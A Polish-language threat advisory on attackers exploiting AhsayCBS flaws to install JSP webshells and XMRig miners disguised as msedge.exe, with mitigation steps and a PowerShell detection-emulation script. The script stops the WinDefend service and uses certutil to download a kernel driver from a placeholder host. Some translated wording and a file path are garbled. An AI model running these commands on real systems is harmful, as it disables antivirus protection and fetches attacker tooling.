Aktorzy zagrożeń wykorzystują krytyczne luki AhsayCBS do zrzucenia webshelli i koparki XMRig

Podsumowanie

Przestępcy wykorzystują dwie krytyczne luki w oprogramowaniu backupowym AhsayCBS, aby uzyskać nieautoryzowane zdalne wykonanie kodu. Po uzyskaniu dostępu, atakujący wdrażają webshell JSP i instalują kryptomonety XMRig, podszywając się pod procesy Microsoft Edge. Kampania wykorzystuje także wspomagany przez AI skrypt PowerShell zaprojektowany, aby unikać wykrycia poprzez monitorowanie i ingerencję w Menedżera Zadań Windows.

Śledztwo

Huntress zidentyfikował łańcuch eksploatacyjny łączący CVE-2026-105133 dla obejścia uwierzytelniania z CVE-2026-105134 dla zdalnego wykonania kodu. Badacze zaobserwowali zmodyfikowane narzędzie NSSM nazwane msedge.exe i podatny sterownik jądra WinRing0x64.sys używany do zapewnienia minerowi dostępu do sprzętu na niskim poziomie. Działania popoeksploatacyjne obejmowały również utworzenie złośliwej usługi Windows o nazwie MicrosoftEdgeUpdateSvc.

Środki zaradcze

Organizacje korzystające z wersji AhsayCBS do 10.3.4 powinny natychmiast ograniczyć dostęp do interfejsu zarządzania do zaufanych adresów IP lub połączeń VPN. Aktualizacje zabezpieczeń powinny być stosowane, gdy tylko zostaną wydane przez użytkownika. Administratorzy powinni również monitorować podejrzane procesy potomne uruchamiane z pliku wykonywalnego usługi AhsayCBS.

Reakcja

Gdy zostaną wykryte wskaźniki kompromisu, organizacje powinny przeprowadzić pełne odtworzenie systemu hosta z zaufanej kopii zapasowej, aby wyeliminować potencjalne tylne drzwi. Należy zbadać nieautoryzowane usługi Windows i podejrzane pliki przechowywane w katalogach Temp. Przejrzyj telemetrię sieciową pod kątem połączeń z znanymi kuźniami kryptowalut lub infrastrukturą hostingu Alibaba Cloud OSS.

Symulacja wykonania

• Narracja ataku i polecenia: Przeciwnik z powodzeniem wykorzystał usługę AhsayCBS. Aby utrzymać obecność i wdrożyć kryptominera, najpierw uruchamiają powłokę poleceń z procesu cbssvcX64.exe . Aby unikać wykrycia, uruchamiają proces o nazwie msedge.exe z użyciem argumentu --daemonized , sprawiając, że wygląda jak prawidłowy proces przeglądarki w tle. Następnie używają PowerShell, aby zatrzymać usługi bezpieczeństwa (symulowane za pośrednictwem bloku skryptu). Na koniec używają certutil.exe aby pobrać WinRing0x64.sys, sterownik używany do umożliwienia dostępu do systemu na niskim poziomie dla ich ładunku do kopania.

• Script testowy regresji:

  # Skrypt symulacyjny dla działań popoeksploatacyjnych AhsayCBS
  # UWAGA: Ten skrypt symuluje zachowanie poprzez imitację hierarchii procesów i linii poleceń.
  
  # 1. Symuluj uruchamianie cmd.exe z AhsayCBS (wymaga konkretnego kontekstu rodzicielstwa procesów w dziennikach rzeczywistych)
  # Dla celów symulacyjnych użyjemy podejścia do procesów potomnych.
  $cbsProcess = Start-Process "cmd.exe" -ArgumentList "/c echo Symulacja AhsayCBS" -PassThru
  
  # 2. Symuluj Fałszywy Proces Demoniczny Edge
  Start-Process "msedge.exe" -ArgumentList "--daemonized"
  
  # 3. Symuluj złośliwy blok skryptu PowerShell
  $maliciousScript = {
      Write-Host "Próba wyłączenia obrony..."
      Stop-Service -Name "WinDefend" -Force
      # Symuluj interakcję z Menedżerem Zadań
      $taskManager = "Menedżer Zadań"
  }
  Invoke-Command -ScriptBlock $maliciousScript
  
  # 4. Symuluj pobieranie sterownika Certutil
  Start-Process "certutil.exe" -ArgumentList "-urlcache -split -f https://example.com/WinRing0x64.sys"

• Polecenia czyszczenia:

  # Czyszczenie: Zakończ symulowane procesy i usuń wszelkie pobrane artefakty.
  Stop-Process -Name "msedge" -ErrorAction SilentlyContinue
  Stop-Process -Name "cmd" -ErrorAction SilentlyContinue
  Remove-Item -Path "C:Users*DownloadsWinRing0x64.sys" -ErrorAction SilentlyContinue